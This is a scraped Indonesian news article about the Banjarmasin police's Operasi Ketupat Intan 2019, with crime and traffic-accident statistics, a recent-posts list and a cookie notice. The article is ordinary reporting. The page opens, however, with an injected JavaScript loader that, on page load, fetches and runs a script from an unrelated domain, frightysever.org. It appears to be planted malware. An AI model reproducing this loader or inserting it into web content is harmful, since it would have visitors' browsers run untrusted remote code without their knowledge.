(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Selama Operasi Ketupat Intan 2019 Berlangsung Gangguan Kamtibmas Turun


BANJARMASIN, Operasi Ketupat Intan tahun 2019 yang dilaksanakan sejak t29 Mei hingga 10 Juni 2019 dinyatakan berhasil dengan sangat baik.

Hal tersebut dikatakan langsung Waka Polresta Banjarmasin, AKBP Rahmad Budi Handoko saat apel konsolidasi Operasi Ketupat Intan tahun 2019 dan persiapan pengaman putusan sidang Mahkamah Konstitusi Pemilu 2019, di Mapolresta Banjarmasin, Kamis (13/6).

Menurut AKBP Rahmad Budi Handoko, koordinasi dan kerjasama sinergi seluruh pemangku kepentingandalam penyelenggaraan Operasi Ketupat tahun 2019 di wilayah Kalsel mendapat apresiasi positif dari masyarakat. 

Hal tersebut, ditandai dengan tidak adanya aksi serangan teror maupun aksi intoleransi dan kekerasan di wilayah Kalsel. 

“Dari hasil evaluasi data gangguan Kamtibmas di wilayah hukum Polda Kalsel selama operasi ini mengalami penurunan sebesar 107 kasus atau 82,3 persen, dari 130 kasus kejahatan pada operasi tahun 2018, menjadi 23 kasus kejahatan pada operasi tahun 2019,” ujarnya.

Lebih lanjut dikatakannya, masih dari hasil evaluasi data Kamtibmas lancar jajaran Laulintas selama Operasi Ketupat Intan tahun 2019 kecelakaan lalulintas yang terjadi sebanyak 31 kejadian dengan korban meninggal dunia sebanyak 16 orang, luka berat 5 orang, luka ringan 43 orang, dan kerugian materiil sebesar Rp146.700.000.

Sedangkan data untuk pelanggaran Lalulintas selama tahun 2019 ini tercatat sebanyak 717 pelanggaran tilang.

Pria dengan tanda pangkat di pundak dua melati ini pun menyampaikan permohonan maafnya kepada seluruh lapisan masyarakat, apabila saat berjalannya operasi tersebut ada masyarakat yang merasakan ketidak nyamanan dalam hal pelayanan. 

“Rekayasa lalulintas yang telah dilakukan tentu akan berdampak pada ketidaknyamanan bagian sebagian penguna jalan. Namun yakinlah bahwa semua itu telah dipertimbangkan dari berbagai factor dan dampak lalulintas yang paling minimal akibat dari diberlakukannya rekayasa lalulintas tersebut,” katanya. (mario)

Reporter : Mario
Editor : Bie

Desy Arfianty

Recent Posts

DBD di Banjarbaru Tak Mengenal Musim, 366 Kasus Periode Januari-April

KANALKALIMANTAN.COM, BANJARBARU - Kasus Demam Berdarah Dengue (DBD) di Kota Banjarbaru dalam empat bulan terakhir… Read More

2 jam ago

Unjuk Rasa Mahasiswa di Rumah Banjar, Komersialiasi Dunia Pendidikan Jadi Sorotan

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah mahasiswa yang tergabung dalam Badan Eksekutif Mahasiswa (BEM) se Kalimantan Selatan… Read More

2 jam ago

Silaturahmi Bersama Buruh-Kapolda, Serikat Pekerja Kalsel Tetap Menolak UU Citaker Hapus Outsourcing

KANALKALIMANTAN.COM, BANJARMASIN - Moment Hari Buruh 1 Mei 2024 dirayakan berbeda oleh kalangan buruh yang… Read More

4 jam ago

KPU Banjarbaru Rencanakan Launching Pilkada 2024 Akhir Mei

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar audiensi bersama Wali Kota Banjarbaru,… Read More

6 jam ago

Jembatan Pulau Telo Tertabrak Kapal Pembawa Crane, Pj Bupati Cek Kondisi

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi meninjau kondisi Jembatan Pulau Telo… Read More

7 jam ago

HMI Banjarmasin Komitmen Perjuangkan Kesejahteraan dan Hak Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Demo mahasiswa yang tergabung dalam Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin dan… Read More

19 jam ago

This website uses cookies.